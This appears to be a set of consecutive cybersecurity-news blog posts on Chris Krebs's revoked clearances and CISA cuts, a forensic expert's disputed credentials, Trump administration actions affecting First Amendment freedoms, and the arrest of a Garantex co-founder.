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President Trump last week revoked security clearances for Chris Krebs, the former director of the Cybersecurity and Infrastructure Security Agency (CISA) who was fired by Trump after declaring the 2020 election the most secure in U.S. history. The White House memo, which also suspended clearances for other security professionals at Krebs’s employer SentinelOne, comes as CISA is facing huge funding and staffing cuts.
Chris Krebs. Image: Getty Images.
The extraordinary April 9 memo directs the attorney general to investigate Chris Krebs (no relation), calling him “a significant bad-faith actor who weaponized and abused his government authority.”
The memo said the inquiry will include “a comprehensive evaluation of all of CISA’s activities over the last 6 years and will identify any instances where Krebs’ or CISA’s conduct appears to be contrary to the administration’s commitment to free speech and ending federal censorship, including whether Krebs’ conduct was contrary to suitability standards for federal employees or involved the unauthorized dissemination of classified information.”
CISA was created in 2018 during Trump’s first term, with Krebs installed as its first director. In 2020, CISA launched Rumor Control, a website that sought to rebut disinformation swirling around the 2020 election.
That effort ran directly counter to Trump’s claims that he lost the election because it was somehow hacked and stolen. The Trump campaign and its supporters filed at least 62 lawsuits contesting the election, vote counting, and vote certification in nine states, and nearly all of those cases were dismissed or dropped for lack of evidence or standing.
When the Justice Department began prosecuting people who violently attacked the U.S. Capitol on January 6, 2021, President Trump and Republican leaders shifted the narrative, claiming that Trump lost the election because the previous administration had censored conservative voices on social media.
Incredibly, the president’s memo seeking to ostracize Krebs stands reality on its head, accusing Krebs of promoting the censorship of election information, “including known risks associated with certain voting practices.” Trump also alleged that Krebs “falsely and baselessly denied that the 2020 election was rigged and stolen, including by inappropriately and categorically dismissing widespread election malfeasance and serious vulnerabilities with voting machines” [emphasis added].
Krebs did not respond to a request for comment. SentinelOne issued a statement saying it would cooperate in any review of security clearances held by its personnel, which is currently fewer than 10 employees.
Krebs’s former agency is now facing steep budget and staff reductions. The Record reports that CISA is looking to remove some 1,300 people by cutting about half its full-time staff and another 40% of its contractors.
“The agency’s National Risk Management Center, which serves as a hub analyzing risks to cyber and critical infrastructure, is expected to see significant cuts, said two sources familiar with the plans,” The Record’s Suzanne Smalley wrote. “Some of the office’s systematic risk responsibilities will potentially be moved to the agency’s Cybersecurity Division, according to one of the sources.”
CNN reports the Trump administration is also advancing plans to strip civil service protections from 80% of the remaining CISA employees, potentially allowing them to be fired for political reasons.
The Electronic Frontier Foundation (EFF) urged professionals in the cybersecurity community to defend Krebs and SentinelOne, noting that other security companies and professionals could be the next victims of Trump’s efforts to politicize cybersecurity.
“The White House must not be given free reign to turn cybersecurity professionals into political scapegoats,” the EFF wrote. “It is critical that the cybersecurity community now join together to denounce this chilling attack on free speech and rally behind Krebs and SentinelOne rather than cowering because they fear they will be next.”
However, Reuters said it found little sign of industry support for Krebs or SentinelOne, and that many security professionals are concerned about potentially being targeted if they speak out.
“Reuters contacted 33 of the largest U.S. cybersecurity companies, including tech companies and professional services firms with large cybersecurity practices, and three industry groups, for comment on Trump’s action against SentinelOne,” wrote Raphael Satter and A.J. Vicens. “Only one offered comment on Trump’s action. The rest declined, did not respond or did not answer questions.”
On April 3, President Trump fired Gen. Timothy Haugh, the head of the National Security Agency (NSA) and the U.S. Cyber Command, as well as Haugh’s deputy, Wendy Noble. The president did so immediately after meeting in the Oval Office with far-right conspiracy theorist Laura Loomer, who reportedly urged their dismissal. Speaking to reporters on Air Force One after news of the firings broke, Trump questioned Haugh’s loyalty.
Gen. Timothy Haugh. Image: C-SPAN.
Virginia Senator Mark Warner, the top Democrat on the Senate Intelligence Committee, called it inexplicable that the administration would remove the senior leaders of NSA-CYBERCOM without cause or warning, and risk disrupting critical ongoing intelligence operations.
“It is astonishing, too, that President Trump would fire the nonpartisan, experienced leader of the National Security Agency while still failing to hold any member of his team accountable for leaking classified information on a commercial messaging app – even as he apparently takes staffing direction on national security from a discredited conspiracy theorist in the Oval Office,” Warner said in a statement.
On Feb. 28, The Record’s Martin Matishak cited three sources saying Defense Secretary Pete Hegseth ordered U.S. Cyber Command to stand down from all planning against Russia, including offensive digital actions. The following day, The Guardian reported that analysts at CISA were verbally informed that they were not to follow or report on Russian threats, even though this had previously been a main focus for the agency.
A follow-up story from The Washington Post cited officials saying Cyber Command had received an order to halt active operations against Russia, but that the pause was intended to last only as long as negotiations with Russia continue.
The Department of Defense responded on Twitter/X that Hegseth had “neither canceled nor delayed any cyber operations directed against malicious Russian targets and there has been no stand-down order whatsoever from that priority.”
But on March 19, Reuters reported several U.S. national security agencies have halted work on a coordinated effort to counter Russian sabotage, disinformation and cyberattacks.
“Regular meetings between the National Security Council and European national security officials have gone unscheduled, and the NSC has also stopped formally coordinating efforts across U.S. agencies, including with the FBI, the Department of Homeland Security and the State Department,” Reuters reported, citing current and former officials.
President’s Trump’s institution of 125% tariffs on goods from China has seen Beijing strike back with 84 percent tariffs on U.S. imports. Now, some security experts are warning that the trade war could spill over into a cyber conflict, given China’s successful efforts to burrow into America’s critical infrastructure networks.
Over the past year, a number of Chinese government-backed digital intrusions have come into focus, including a sprawling espionage campaign involving the compromise of at least nine U.S. telecommunications providers. Dubbed “Salt Typhoon” by Microsoft, these telecom intrusions were pervasive enough that CISA and the FBI in December 2024 warned Americans against communicating sensitive information over phone networks, urging people instead to use encrypted messaging apps (like Signal).
The other broad ranging China-backed campaign is known as “Volt Typhoon,” which CISA described as “state-sponsored cyber actors seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.”
Responsibility for determining the root causes of the Salt Typhoon security debacle fell to the Cyber Safety Review Board (CSRB), a nonpartisan government entity established in February 2022 with a mandate to investigate the security failures behind major cybersecurity events. But on his first full day back in the White House, President Trump dismissed all 15 CSRB advisory committee members — likely because those advisers included Chris Krebs.
Last week, Sen. Ron Wyden (D-Ore.) placed a hold on Trump’s nominee to lead CISA, saying the hold would continue unless the agency published a report on the telecom industry hacks, as promised.
“CISA’s multi-year cover up of the phone companies’ negligent cybersecurity has real consequences,” Wyden said in a statement. “Congress and the American people have a right to read this report.”
The Wall Street Journal reported last week Chinese officials acknowledged in a secret December meeting that Beijing was behind the widespread telecom industry compromises.
“The Chinese official’s remarks at the December meeting were indirect and somewhat ambiguous, but most of the American delegation in the room interpreted it as a tacit admission and a warning to the U.S. about Taiwan,” The Journal’s Dustin Volz wrote, citing a former U.S. official familiar with the meeting.
Meanwhile, China continues to take advantage of the mass firings of federal workers. On April 9, the National Counterintelligence and Security Center warned (PDF) that Chinese intelligence entities are pursuing an online effort to recruit recently laid-off U.S. employees.
“Foreign intelligence entities, particularly those in China, are targeting current and former U.S. government (USG) employees for recruitment by posing as consulting firms, corporate headhunters, think tanks, and other entities on social and professional networking sites,” the alert warns. “Their deceptive online job offers, and other virtual approaches, have become more sophisticated in targeting unwitting individuals with USG backgrounds seeking new employment.”
Image: Dni.gov
As Reuters notes, the FBI last month ended an effort to counter interference in U.S. elections by foreign adversaries including Russia, and put on leave staff working on the issue at the Department of Homeland Security.
Meanwhile, the U.S. Senate is now considering a House-passed bill dubbed the “Safeguard American Voter Eligibility (SAVE) Act,” which would order states to obtain proof of citizenship, such as a passport or a birth certificate, in person from those seeking to register to vote.
Critics say the SAVE Act could disenfranchise millions of voters and discourage eligible voters from registering to vote. What’s more, documented cases of voter fraud are few and far between, as is voting by non-citizens. Even the conservative Heritage Foundation acknowledges as much: An interactive “election fraud map” published by Heritage lists just 1,576 convictions or findings of voter fraud between 1982 and the present day.
Nevertheless, the GOP-led House passed the SAVE Act with the help of four Democrats. Its passage in the Senate will require support from at least seven Democrats, Newsweek writes.
In February, CISA cut roughly 130 employees, including its election security advisors. The agency also was forced to freeze all election security activities pending an internal review. The review was reportedly completed in March, but the Trump administration has said the findings would not be made public, and there is no indication of whether any cybersecurity support has been restored.
Many state leaders have voiced anxiety over the administration’s cuts to CISA programs that provide assistance and threat intelligence to election security efforts. Iowa Secretary of State Paul Pate last week told the PBS show Iowa Press he would not want to see those programs dissolve.
“If those (systems) were to go away, it would be pretty serious,” Pate said. “We do count on a lot those cyber protections.”
Pennsylvania’s Secretary of the Commonwealth Al Schmidt recently warned the CISA election security cuts would make elections less secure, and said no state on its own can replace federal election cybersecurity resources.
The Pennsylvania Capital-Star reports that several local election offices received bomb threats around the time polls closed on Nov. 5, and that in the week before the election a fake video showing mail-in ballots cast for Trump and Sen. Dave McCormick (R-Pa.) being destroyed and thrown away was linked to a Russian disinformation campaign.
“CISA was able to quickly identify not only that it was fraudulent, but also the source of it, so that we could share with our counties and we could share with the public so confidence in the election wasn’t undermined,” Schmidt said.
According to CNN, the administration’s actions have deeply alarmed state officials, who warn the next round of national elections will be seriously imperiled by the cuts. A bipartisan association representing 46 secretaries of state, and several individual top state election officials, have pressed the White House about how critical functions of protecting election security will perform going forward. However, CNN reports they have yet to receive clear answers.
Nevada and 18 other states are suing Trump over an executive order he issued on March 25 that asserts the executive branch has broad authority over state election procedures.
“None of the president’s powers allow him to change the rules of elections,” Nevada Secretary of State Cisco Aguilar wrote in an April 11 op-ed. “That is an intentional feature of our Constitution, which the Framers built in to ensure election integrity. Despite that, Trump is seeking to upend the voter registration process; impose arbitrary deadlines on vote counting; allow an unelected and unaccountable billionaire to invade state voter rolls; and withhold congressionally approved funding for election security.”
The order instructs the U.S. Election Assistance Commission to abruptly amend the voluntary federal guidelines for voting machines without going through the processes mandated by federal law. And it calls for allowing the administrator of the so-called Department of Government Efficiency (DOGE), along with DHS, to review state voter registration lists and other records to identify non-citizens.
The Atlantic’s Paul Rosenzweig notes that the chief executive of the country — whose unilateral authority the Founding Fathers most feared — has literally no role in the federal election system.
“Trump’s executive order on elections ignores that design entirely,” Rosenzweig wrote. “He is asserting an executive-branch role in governing the mechanics of a federal election that has never before been claimed by a president. The legal theory undergirding this assertion — that the president’s authority to enforce federal law enables him to control state election activity — is as capacious as it is frightening.”
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A Minnesota cybersecurity and computer forensics expert whose testimony has featured in thousands of courtroom trials over the past 30 years is facing questions about his credentials and an inquiry from the Federal Bureau of Investigation (FBI). Legal experts say the inquiry could be grounds to reopen a number of adjudicated cases in which the expert’s testimony may have been pivotal.
One might conclude from reading Mr. Lanterman’s LinkedIn profile that has a degree from Harvard University.
Mark Lanterman is a former investigator for the U.S. Secret Service Electronics Crimes Task Force who founded the Minneapolis consulting firm Computer Forensic Services (CFS). The CFS website says Lanterman’s 30-year career has seen him testify as an expert in more than 2,000 cases, with experience in cases involving sexual harassment and workplace claims, theft of intellectual property and trade secrets, white-collar crime, and class action lawsuits.
Or at least it did until last month, when Lanterman’s profile and work history were quietly removed from the CFS website. The removal came after Hennepin County Attorney’s Office said it was notifying parties to ten pending cases that they were unable to verify Lanterman’s educational and employment background. The county attorney also said the FBI is now investigating the allegations.
Those allegations were raised by Sean Harrington, an attorney and forensics examiner based in Prescott, Wisconsin. Harrington alleged that Lanterman lied under oath in court on multiple occasions when he testified that he has a Bachelor of Science and a Master’s degree in computer science from the now-defunct Upsala College, and that he completed his postgraduate work in cybersecurity at Harvard University.
Harrington’s claims gained steam thanks to digging by the law firm Perkins Coie LLP, which is defending a case wherein a client’s laptop was forensically reviewed by Lanterman. On March 14, Perkins Coie attorneys asked the judge (PDF) to strike Lanterman’s testimony because neither he nor they could substantiate claims about his educational background.
Upsala College, located in East Orange, N.J., operated for 102 years until it closed in 1995 after a period of declining enrollment and financial difficulties. Perkins Coie told the court that they’d visited Felician University, which holds the transcripts for Upsala College during the years Lanterman claimed to have earned undergraduate and graduate degrees. The law firm said Felician had no record of transcripts for Lanterman (PDF), and that his name was absent from all of the Upsala College student yearbooks and commencement programs during that period.
Reached for comment, Lanterman acknowledged he had no way to prove he attended Upsala College, and that his “postgraduate work” at Harvard was in fact an eight-week online cybersecurity class called HarvardX, which cautions that its certificates should not be considered equivalent to a Harvard degree or a certificate earned through traditional, in-person programs at Harvard University.
Lanterman has testified that his first job after college was serving as a police officer in Springfield Township, Pennsylvania, although the Perkins Coie attorneys noted that this role was omitted from his resume. The attorneys said when they tried to verify Lanterman’s work history, “the police department responded with a story that would be almost impossible to believe if it was not corroborated by Lanterman’s own email communications.”
As recounted in the March 14 filing, Lanterman was deposed on Feb. 11, and the following day he emailed the Springfield Township Police Department to see if he could have a peek at his old personnel file. On Feb. 14, Lanterman visited the Springfield Township PD and asked to borrow his employment record. He told the officer he spoke with on the phone that he’d recently been instructed to “get his affairs in order” after being diagnosed with a grave heart condition, and that he wanted his old file to show his family about his early career.
According to Perkins Coie, Lanterman left the Springfield Township PD with his personnel file, and has not returned it as promised.
“It is shocking that an expert from Minnesota would travel to suburban Philadelphia and abscond with his decades-old personnel file to obscure his background,” the law firm wrote. “That appears to be the worst and most egregious form of spoliation, and the deception alone is reason enough to exclude Lanterman and consider sanctions.”
Harrington initially contacted KrebsOnSecurity about his concerns in late 2023, fuming after sitting through a conference speech in which Lanterman shared documents from a ransomware victim and told attendees it was because they’d refused to hire his company to perform a forensic investigation on a recent breach.
“He claims he was involved in the Martha Stewart investigation, the Bernie Madoff trial, Paul McCartney’s divorce, the Tom Petters investigation, the Denny Hecker investigation, and many others,” Harrington said. “He claims to have been invited to speak to the Supreme Court, claims to train the ‘entire federal judiciary’ on cybersecurity annually, and is a faculty member of the United States Judicial Conference and the Judicial College — positions which he obtained, in part, on a house of fraudulent cards.”
In an interview this week, Harrington said court documents reveal that at least two of Lanterman’s previous clients complained CFS had held their data for ransom over billing disputes. In a declaration (PDF) dated August 2022, the co-founder of the law firm MoreLaw Minneapolis LLC said she hired Lanterman in 2014 to examine several electronic devices after learning that one of their paralegals had a criminal fraud history.
But the law firm said when it pushed back on a consulting bill that was far higher than expected, Lanterman told them CFS would “escalate” its collection efforts if they didn’t pay, including “a claim and lien against the data which will result in a public auction of your data.”
“All of us were flabbergasted by Mr. Lanterman’s email,” wrote MoreLaw co-founder Kimberly Hanlon. “I had never heard of any legitimate forensic company threatening to ‘auction’ off an attorney’s data, particularly knowing that the data is comprised of confidential client data, much of which is sensitive in nature.”
In 2009, a Wisconsin-based manufacturing company that had hired Lanterman for computer forensics balked at paying an $86,000 invoice from CFS, calling it “excessive and unsubstantiated.” The company told a Hennepin County court that on April 15, 2009, CFS conducted an auction of its trade secret information in violation of their confidentiality agreement.
“CFS noticed and conducted a Public Sale of electronic information that was entrusted to them pursuant to the terms of the engagement agreement,” the company wrote. “CFS submitted the highest bid at the Public Sale in the amount of $10,000.”
Lanterman briefly responded to a list of questions about his background (and recent heart diagnosis) on March 24, saying he would send detailed replies the following day. Those replies never materialized. Instead, Lanterman forwarded a recent memo he wrote to the court that attacked Harrington and said his accuser was only trying to take out a competitor. He has not responded to further requests for comment.
“When I attended Upsala, I was a commuter student who lived with my grandparents in Morristown, New Jersey approximately 30 minutes away from Upsala College,” Lanterman explained to the judge (PDF) overseeing a separate ongoing case (PDF) in which he has testified. “With limited resources, I did not participate in campus social events, nor did I attend graduation ceremonies. In 2023, I confirmed with Felician University — which maintains Upsala College’s records — that they could not locate my transcripts or diploma, a situation that they indicated was possibly due to unresolved money-related issues.”
Lanterman was ordered to appear in court on April 3 in the case defended by Perkins Coie, but he did not show up. Instead, he sent a message to the judge withdrawing from the case.
“I am 60 years old,” Lanterman told the judge. “I created my business from nothing. I am done dealing with the likes of individuals like Sean Harrington. And quite frankly, I have been planning at turning over my business to my children for years. That time has arrived.”
Lanterman’s letter leaves the impression that it was his decision to retire. But according to an affidavit (PDF) filed in a Florida case on March 28, Mark Lanterman’s son Sean said he’d made the difficult decision to ask his dad to step down given all the negative media attention.
Mark Rasch, a former federal cybercrime prosecutor who now serves as counsel to the New York cybersecurity intelligence firm Unit 221B, said that if an expert witness is discredited, any defendants who lost cases that were strongly influenced by that expert’s conclusions at trial could have grounds for appeal.
Rasch said law firms who propose an expert witness have a duty in good faith to vet that expert’s qualifications, knowing that those credentials will be subject to cross-examination.
“Federal rules of civil procedure and evidence both require experts to list every case they have testified in as an expert for the past few years,” Rasch said. “Part of that due diligence is pulling up the results of those cases and seeing what the nature of their testimony has been.”
Perhaps the most well-publicized case involving significant forensic findings from Lanterman was the 2018 conviction of Stephen Allwine, who was found guilty of killing his wife two years earlier after attempts at hiring a hitman on the dark net fell through. Allwine is serving a sentence of life in prison, and continues to maintain that he was framed, casting doubt on computer forensic evidence found on 64 electronic devices taken from his home.
On March 24, Allwine petitioned a Minnesota court (PDF) to revisit his case, citing the accusations against Lanterman and his role as a key witness for the prosecution.
“Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.” -U.S. Constitution, First Amendment.
Image: Shutterstock, zimmytws.
In an address to Congress this month, President Trump claimed he had “brought free speech back to America.” But barely two months into his second term, the president has waged an unprecedented attack on the First Amendment rights of journalists, students, universities, government workers, lawyers and judges.
This story explores a slew of recent actions by the Trump administration that threaten to undermine all five pillars of the First Amendment to the U.S. Constitution, which guarantees freedoms concerning speech, religion, the media, the right to assembly, and the right to petition the government and seek redress for wrongs.
The right to petition allows citizens to communicate with the government, whether to complain, request action, or share viewpoints — without fear of reprisal. But that right is being assaulted by this administration on multiple levels. For starters, many GOP lawmakers are now heeding their leadership’s advice to stay away from local town hall meetings and avoid the wrath of constituents affected by the administration’s many federal budget and workforce cuts.
Another example: President Trump recently fired most of the people involved in processing Freedom of Information Act (FOIA) requests for government agencies. FOIA is an indispensable tool used by journalists and the public to request government records, and to hold leaders accountable.
The biggest story by far this week was the bombshell from The Atlantic editor Jeffrey Goldberg, who recounted how he was inadvertently added to a Signal group chat with National Security Advisor Michael Waltz and 16 other Trump administration officials discussing plans for an upcoming attack on Yemen.
One overlooked aspect of Goldberg’s incredible account is that by planning and coordinating the attack on Signal — which features messages that can auto-delete after a short time — administration officials were evidently seeking a way to avoid creating a lasting (and potentially FOIA-able) record of their deliberations.
“Intentional or not, use of Signal in this context was an act of erasure—because without Jeffrey Goldberg being accidentally added to the list, the general public would never have any record of these communications or any way to know they even occurred,” Tony Bradley wrote this week at Forbes.
Petitioning the government, particularly when it ignores your requests, often requires challenging federal agencies in court. But that becomes far more difficult if the most competent law firms start to shy away from cases that may involve crossing the president and his administration.
On March 22, the president issued a memorandum that directs heads of the Justice and Homeland Security Departments to “seek sanctions against attorneys and law firms who engage in frivolous, unreasonable and vexatious litigation against the United States,” or in matters that come before federal agencies.
The POTUS recently issued several executive orders railing against specific law firms with attorneys who worked legal cases against him. On Friday, the president announced that the law firm of Skadden, Arps, Slate, Meager & Flom had agreed to provide $100 million in pro bono work on issues that he supports.
Trump issued another order naming the firm Paul, Weiss, Rifkind, Wharton & Garrison, which ultimately agreed to pledge $40 million in pro bono legal services to the president’s causes.
Other Trump executive orders targeted law firms Jenner & Block and WilmerHale, both of which have attorneys that worked with special counsel Robert Mueller on the investigation into Russian interference in the 2016 election. But this week, two federal judges in separate rulings froze parts of those orders.
“There is no doubt this retaliatory action chills speech and legal advocacy, and that is qualified as a constitutional harm,” wrote Judge Richard Leon, who ruled against the executive order targeting WilmerHale.
President Trump recently took the extraordinary step of calling for the impeachment of federal judges who rule against the administration. Trump called U.S. District Judge James Boasberg a “Radical Left Lunatic” and urged he be removed from office for blocking deportation of Venezuelan alleged gang members under a rarely invoked wartime legal authority.
In a rare public rebuke to a sitting president, U.S. Supreme Court Justice John Roberts issued a statement on March 18 pointing out that “For more than two centuries, it has been established that impeachment is not an appropriate response to disagreement concerning a judicial decision.”
The U.S. Constitution provides that judges can be removed from office only through impeachment by the House of Representatives and conviction by the Senate. The Constitution also states that judges’ salaries cannot be reduced while they are in office.
Undeterred, House Speaker Mike Johnson this week suggested the administration could still use the power of its purse to keep courts in line, and even floated the idea of wholesale eliminating federal courts.
“We do have authority over the federal courts as you know,” Johnson said. “We can eliminate an entire district court. We have power of funding over the courts, and all these other things. But desperate times call for desperate measures, and Congress is going to act, so stay tuned for that.”
President Trump has taken a number of actions to discourage lawful demonstrations at universities and colleges across the country, threatening to cut federal funding for any college that supports protests he deems “illegal.”
A Trump executive order in January outlined a broad federal crackdown on what he called “the explosion of antisemitism” on U.S. college campuses. This administration has asserted that foreign students who are lawfully in the United States on visas do not enjoy the same free speech or due process rights as citizens.
Reuters reports that the acting civil rights director at the Department of Education on March 10 sent letters to 60 educational institutions warning they could lose federal funding if they don’t do more to combat anti-semitism. On March 20, Trump issued an order calling for the closure of the Education Department.
Meanwhile, U.S. Immigration and Customs Enforcement (ICE) agents have been detaining and trying to deport pro-Palestinian students who are legally in the United States. The administration is targeting students and academics who spoke out against Israel’s attacks on Gaza, or who were active in campus protests against U.S. support for the attacks. Secretary of State Marco Rubio told reporters Thursday that at least 300 foreign students have seen their visas revoked under President Trump, a far higher number than was previously known.
In his first term, Trump threatened to use the national guard or the U.S. military to deal with protesters, and in campaigning for re-election he promised to revisit the idea.
“I think the bigger problem is the enemy from within,” Trump told Fox News in October 2024. “We have some very bad people. We have some sick people, radical left lunatics. And I think they’re the big — and it should be very easily handled by, if necessary, by National Guard, or if really necessary, by the military, because they can’t let that happen.”
This term, Trump acted swiftly to remove the top judicial advocates in the armed forces who would almost certainly push back on any request by the president to use U.S. soldiers in an effort to quell public protests, or to arrest and detain immigrants. In late February, the president and Defense Secretary Pete Hegseth fired the top legal officers for the military services — those responsible for ensuring the Uniform Code of Military Justice is followed by commanders.
Military.com warns that the purge “sets an alarming precedent for a crucial job in the military, as President Donald Trump has mused about using the military in unorthodox and potentially illegal ways.” Hegseth told reporters the removals were necessary because he didn’t want them to pose any “roadblocks to orders that are given by a commander in chief.”
President Trump has sued a number of U.S. news outlets, including 60 Minutes, CNN, The Washington Post, The New York Times and other smaller media organizations for unflattering coverage.
In a $10 billion lawsuit against 60 Minutes and its parent Paramount, Trump claims they selectively edited an interview with former Vice President Kamala Harris prior to the 2024 election. The TV news show last month published transcripts of the interview at the heart of the dispute, but Paramount is reportedly considering a settlement to avoid potentially damaging its chances of winning the administration’s approval for a pending multibillion-dollar merger.
The president sued The Des Moines Register and its parent company, Gannett, for publishing a poll showing Trump trailing Harris in the 2024 presidential election in Iowa (a state that went for Trump). The POTUS also is suing the Pulitzer Prize board over 2018 awards given to The New York Times and The Washington Post for their coverage of purported Russian interference in the 2016 election.
Whether or not any of the president’s lawsuits against news organizations have merit or succeed is almost beside the point. The strategy behind suing the media is to make reporters and newsrooms think twice about criticizing or challenging the president and his administration. The president also knows some media outlets will find it more expedient to settle.
Trump also sued ABC News and George Stephanopoulos for stating that the president had been found liable for “rape” in a civil case [Trump was found liable of sexually abusing and defaming E. Jean Carroll]. ABC parent Disney settled that claim by agreeing to donate $15 million to the Trump Presidential Library.
Following the attack on the U.S. Capitol on Jan. 6, 2021, Facebook blocked President Trump’s account. Trump sued Meta, and after the president’s victory in 2024 Meta settled and agreed to pay Trump $25 million: $22 million would go to his presidential library, and the rest to legal fees. Meta CEO Mark Zuckerberg also announced Facebook and Instagram would get rid of fact-checkers and rely instead on reader-submitted “community notes” to debunk disinformation on the social media platform.
Brendan Carr, the president’s pick to run the Federal Communications Commission (FCC), has pledged to “dismantle the censorship cartel and restore free speech rights for everyday Americans.” But on January 22, 2025, the FCC reopened complaints against ABC, CBS and NBC over their coverage of the 2024 election. The previous FCC chair had dismissed the complaints as attacks on the First Amendment and an attempt to weaponize the agency for political purposes.
According to Reuters, the complaints call for an investigation into how ABC News moderated the pre-election TV debate between Trump and Biden, and appearances of then-Vice President Harris on 60 Minutes and on NBC’s “Saturday Night Live.”
Since then, the FCC has opened investigations into NPR and PBS, alleging that they are breaking sponsorship rules. The Center for Democracy & Technology (CDT), a think tank based in Washington, D.C., noted that the FCC is also investigating KCBS in San Francisco for reporting on the location of federal immigration authorities.
“Even if these investigations are ultimately closed without action, the mere fact of opening them – and the implicit threat to the news stations’ license to operate – can have the effect of deterring the press from news coverage that the Administration dislikes,” the CDT’s Kate Ruane observed.
Trump has repeatedly threatened to “open up” libel laws, with the goal of making it easier to sue media organizations for unfavorable coverage. But this week, the U.S. Supreme Court declined to hear a challenge brought by Trump donor and Las Vegas casino magnate Steve Wynn to overturn the landmark 1964 decision in New York Times v. Sullivan, which insulates the press from libel suits over good-faith criticism of public figures.
The president also has insisted on picking which reporters and news outlets should be allowed to cover White House events and participate in the press pool that trails the president. He barred the Associated Press from the White House and Air Force One over their refusal to call the Gulf of Mexico by another name.
And the Defense Department has ordered a number of top media outlets to vacate their spots at the Pentagon, including CNN, The Hill, The Washington Post, The New York Times, NBC News, Politico and National Public Radio.
“Incoming media outlets include the New York Post, Breitbart, the Washington Examiner, the Free Press, the Daily Caller, Newsmax, the Huffington Post and One America News Network, most of whom are seen as conservative or favoring Republican President Donald Trump,” Reuters reported.
Shortly after Trump took office again in January 2025, the administration began circulating lists of hundreds of words that government staff and agencies shall not use in their reports and communications.
The Brookings Institution notes that in moving to comply with this anti-speech directive, federal agencies have purged countless taxpayer-funded data sets from a swathe of government websites, including data on crime, sexual orientation, gender, education, climate, and global development.
The New York Times reports that in the past two months, hundreds of terabytes of digital resources analyzing data have been taken off government websites.
“While in many cases the underlying data still exists, the tools that make it possible for the public and researchers to use that data have been removed,” The Times wrote.
On Jan. 27, Trump issued a memo (PDF) that paused all federally funded programs pending a review of those programs for alignment with the administration’s priorities. Among those was ensuring that no funding goes toward advancing “Marxist equity, transgenderism, and green new deal social engineering policies.”
According to the CDT, this order is a blatant attempt to force government grantees to cease engaging in speech that the current administration dislikes, including speech about the benefits of diversity, climate change, and LGBTQ issues.
“The First Amendment does not permit the government to discriminate against grantees because it does not like some of the viewpoints they espouse,” the CDT’s Ruane wrote. “Indeed, those groups that are challenging the constitutionality of the order argued as much in their complaint, and have won an injunction blocking its implementation.”
On January 20, the same day Trump issued an executive order on free speech, the president also issued an executive order titled “Reevaluating and Realigning United States Foreign Aid,” which froze funding for programs run by the U.S. Agency for International Development (USAID). Among those were programs designed to empower civil society and human rights groups, journalists and others responding to digital repression and Internet shutdowns.
According to the Electronic Frontier Foundation (EFF), this includes many freedom technologies that use cryptography, fight censorship, protect freedom of speech, privacy and anonymity for millions of people around the world.
“While the State Department has issued some limited waivers, so far those waivers do not seem to cover the open source internet freedom technologies,” the EFF wrote about the USAID disruptions. “As a result, many of these projects have to stop or severely curtail their work, lay off talented workers, and stop or slow further development.”
On March 14, the president signed another executive order that effectively gutted the U.S. Agency for Global Media (USAGM), which oversees or funds media outlets including Radio Free Europe/Radio Liberty and Voice of America (VOA). The USAGM also oversees Radio Free Asia, which supporters say has been one of the most reliable tools used by the government to combat Chinese propaganda.
But this week, U.S. District Court Judge Royce Lamberth, a Reagan appointee, temporarily blocked USAGM’s closure by the administration.
“RFE/RL has, for decades, operated as one of the organizations that Congress has statutorily designated to carry out this policy,” Lamberth wrote in a 10-page opinion. “The leadership of USAGM cannot, with one sentence of reasoning offering virtually no explanation, force RFE/RL to shut down — even if the President has told them to do so.”
The Trump administration rescinded a decades-old policy that instructed officers not to take immigration enforcement actions in or near “sensitive” or “protected” places, such as churches, schools, and hospitals.
That directive was immediately challenged in a case brought by a group of Quakers, Baptists and Sikhs, who argued the policy reversal was keeping people from attending services for fear of being arrested on civil immigration violations. On Feb. 24, a federal judge agreed and blocked ICE agents from entering churches or targeting migrants nearby.
The president’s executive order allegedly addressing antisemitism came with a fact sheet that described college campuses as “infested” with “terrorists” and “jihadists.” Multiple faith groups expressed alarm over the order, saying it attempts to weaponize antisemitism and promote “dehumanizing anti-immigrant policies.”
The president also announced the creation of a “Task Force to Eradicate Anti-Christian Bias,” to be led by Attorney General Pam Bondi. Never mind that Christianity is easily the largest faith in America and that Christians are well-represented in Congress.
The Rev. Paul Brandeis Raushenbush, a Baptist minister and head of the progressive Interfaith Alliance, issued a statement accusing Trump of hypocrisy in claiming to champion religion by creating the task force.
“From allowing immigration raids in churches, to targeting faith-based charities, to suppressing religious diversity, the Trump Administration’s aggressive government overreach is infringing on religious freedom in a way we haven’t seen for generations,” Raushenbush said.
A statement from Americans United for Separation of Church and State said the task force could lead to religious persecution of those with other faiths.
“Rather than protecting religious beliefs, this task force will misuse religious freedom to justify bigotry, discrimination, and the subversion of our civil rights laws,” said Rachel Laser, the group’s president and CEO.
Where is President Trump going with all these blatant attacks on the First Amendment? The president has made no secret of his affection for autocratic leaders and “strongmen” around the world, and he is particularly enamored with Hungary’s far-right Prime Minister Viktor Orbán, who has visited Trump’s Mar-a-Lago resort twice in the past year.
A March 15 essay in The Atlantic by Hungarian investigative journalist András Pethő recounts how Orbán rose to power by consolidating control over the courts, and by building his own media universe while simultaneously placing a stranglehold on the independent press.
“As I watch from afar what’s happening to the free press in the United States during the first weeks of Trump’s second presidency — the verbal bullying, the legal harassment, the buckling by media owners in the face of threats — it all looks very familiar,” Pethő wrote. “The MAGA authorities have learned Orbán’s lessons well.”
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Authorities in India today arrested the alleged co-founder of Garantex, a cryptocurrency exchange sanctioned by the U.S. government in 2022 for facilitating tens of billions of dollars in money laundering by transnational criminal and cybercriminal organizations. Sources close to the investigation told KrebsOnSecurity the Lithuanian national Aleksej Besciokov, 46, was apprehended while vacationing on the coast of India with his family.
Aleksej Bešciokov, “proforg,” “iram”. Image: U.S. Secret Service.
On March 7, the U.S. Department of Justice (DOJ) unsealed an indictment against Besciokov and the other alleged co-founder of Garantex, Aleksandr Mira Serda, 40, a Russian national living in the United Arab Emirates.
Launched in 2019, Garantex was first sanctioned by the U.S. Treasury Office of Foreign Assets Control in April 2022 for receiving hundreds of millions in criminal proceeds, including funds used to facilitate hacking, ransomware, terrorism and drug trafficking. Since those penalties were levied, Garantex has processed more than $60 billion, according to the blockchain analysis company Elliptic.
“Garantex has been used in sanctions evasion by Russian elites, as well as to launder proceeds of crime including ransomware, darknet market trade and thefts attributed to North Korea’s Lazarus Group,” Elliptic wrote in a blog post. “Garantex has also been implicated in enabling Russian oligarchs to move their wealth out of the country, following the invasion of Ukraine.”
